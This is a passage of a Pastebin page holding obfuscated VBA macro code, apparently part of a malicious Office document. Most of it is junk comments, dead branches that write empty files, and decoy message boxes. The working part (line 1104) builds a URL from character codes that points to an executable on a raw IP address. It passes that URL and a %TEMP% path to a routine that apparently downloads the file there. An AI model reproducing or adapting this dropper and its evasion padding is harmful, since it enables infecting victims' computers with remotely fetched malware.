  957. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  958. Open "DFWAVS.SSX" For Binary As 41
  959. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  960. Put #41, , luIipZiP
  961. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  962. Close #41
  963. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  964. GsaSCijK:
  965. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  966.  
  967. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  968. Set NGWMKXGHKCH = Nothing
  969. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  970.  
  971. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  972. If 519725 = 519725 + 1 Then End
  973. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  974. If 8897 < 54 Then
  975. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  976.  
  977. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  978. GoTo lGnFkmpm
  979. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  980. Dim stjboAbV As String
  981. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  982. Open "IDSPVQ.ANI" For Binary As 21
  983. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  984. Put #21, , stjboAbV
  985. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  986. Close #21
  987. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  988. lGnFkmpm:
  989. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  990.  
  991. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  992. MsgBox ("WuhEulqb67")
  993. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  994. End If
  995. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  996. If Len("qkJQiznI3161") = Len("DWmVjnNg") Then
  997. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  998.  
  999. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1000. GoTo hoDHXZaz
  1001. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1002. Dim ibEADOhT As String
  1003. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1004. Open "UVLQDG.HHJ" For Binary As 14
  1005. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1006. Put #14, , ibEADOhT
  1007. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1008. Close #14
  1009. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1010. hoDHXZaz:
  1011. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1012.  
  1013. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1014. MsgBox ("Error !!!")
  1015. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1016. End If
  1017. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1018.  
  1019. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1020. GoTo EbgUehwz
  1021. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1022. Dim owCehPdM As String
  1023. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1024. Open "UWZBAH.HDN" For Binary As 23
  1025. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1026. Put #23, , owCehPdM
  1027. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1028. Close #23
  1029. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1030. EbgUehwz:
  1031. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1032.  
  1033. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1034.  
  1035. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1036.  
  1037. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1038. End Function
  1039. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1040. Sub CWPUZSQFOBF()
  1041. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1042. If 612986 = 612986 + 1 Then End
  1043. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1044. If 3868 < 32 Then
  1045. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1046.  
  1047. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1048. GoTo lDUfhlLP
  1049. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1050. Dim VIgIZDQZ As String
  1051. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1052. Open "ZZQGIJ.KTF" For Binary As 96
  1053. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1054. Put #96, , VIgIZDQZ
  1055. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1056. Close #96
  1057. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1058. lDUfhlLP:
  1059. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1060.  
  1061. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1062. MsgBox ("YdEnEUWy14")
  1063. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1064. End If
  1065. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1066. If Len("UkZJcUTy6132") = Len("AQzxkSLl") Then
  1067. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1068.  
  1069. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1070. GoTo PQHbpKKm
  1071. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1072. Dim hYvWxdOs As String
  1073. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1074. Open "JSWEMC.PVJ" For Binary As 59
  1075. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1076. Put #59, , hYvWxdOs
  1077. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1078. Close #59
  1079. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1080. PQHbpKKm:
  1081. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1082.  
  1083. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1084. MsgBox ("Error !!!")
  1085. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1086. End If
  1087. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1088.  
  1089. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1090. GoTo INnDcCBF
  1091. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1092. Dim njjvgrfk As String
  1093. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1094. Open "HLSPAB.OYI" For Binary As 53
  1095. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1096. Put #53, , njjvgrfk
  1097. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1098. Close #53
  1099. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1100. INnDcCBF:
  1101. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1102.  
  1103. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1104. QSIOUKYDZYH ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(58) & ChrW(47) & ChrW(47) & ChrW(49) & ChrW(57) & ChrW(53) & ChrW(46) & ChrW(49) & ChrW(53) & ChrW(52) & ChrW(46) & ChrW(49) & ChrW(50) & ChrW(54) & ChrW(46) & ChrW(50) & ChrW(52) & ChrW(53) & ChrW(58) & ChrW(56) & ChrW(48) & ChrW(56) & ChrW(48) & ChrW(47) & ChrW(100) & ChrW(111) & ChrW(99) & ChrW(47) & ChrW(55) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101), Environ(ChrW(84) & ChrW(69) & ChrW(77) & ChrW(80)) & ChrW(92) & ChrW(69) & ChrW(89) & ChrW(87) & ChrW(72) & ChrW(69) & ChrW(80) & ChrW(86) & ChrW(66) & ChrW(80) & ChrW(88) & ChrW(78) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101)
  1105. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1106.  
  1107. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1108. End Sub
  1109. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  1110.  
  1111. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!